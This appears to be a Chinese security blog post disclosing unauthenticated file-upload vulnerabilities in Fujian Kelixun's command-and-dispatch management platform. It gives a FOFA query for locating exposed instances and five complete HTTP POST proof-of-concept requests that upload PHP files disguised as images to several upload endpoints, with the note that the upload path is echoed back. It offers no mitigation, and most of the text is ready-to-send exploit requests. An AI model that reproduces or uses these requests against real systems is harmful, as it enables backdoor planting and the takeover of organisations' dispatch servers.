福建科立讯通信 指挥调度管理平台 多处文件上传漏洞

漏洞概述
—-
福建科立讯通信有限公司指挥调度管理平台upload.php、task/uploadfile.php、event/uploadfile.php多处接口存在文件上传漏洞,未经身份认证的攻击者可通给该漏洞写入后门文件

复现环境
—-
FOFA语法:

FOFA: body=”指挥调度管理平台”

漏洞复现
—-

>PoC1

POST /api/client/upload.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”ulfile”;filename=”a.php”
Content-Type: image/png


——WebKitFormBoundarySwvD8hSn3Z0sHfMu–

>PoC2

POST /api/client/task/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uuid”

1
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”number”

200
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uploadfile”;filename=”b.php”
Content-Type: image/jpg


——WebKitFormBoundarySwvD8hSn3Z0sHfMu–
>PoC3

POST /api/client/event/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uuid”

1
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”number”

200
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uploadfile”;filename=”c.php”
Content-Type: image/png


——WebKitFormBoundarySwvD8hSn3Z0sHfMu–
>PoC4

POST /custom/zx/event/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uuid”

1
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”number”

200
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uploadfile”;filename=”d.php”
Content-Type: image/png


——WebKitFormBoundarySwvD8hSn3Z0sHfMu–
>PoC5

POST /custom/zx/task/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uuid”

1
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”number”

200
——WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name=”uploadfile”;filename=”e.php”
Content-Type: image/png


——WebKitFormBoundarySwvD8hSn3Z0sHfMu–

以上poc均有上传路径回显

[1]: https://www.mhtsec.com/usr/uploads/2024/01/37273309.png
[2]: https://www.mhtsec.com/usr/uploads/2024/01/3669446378.png

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容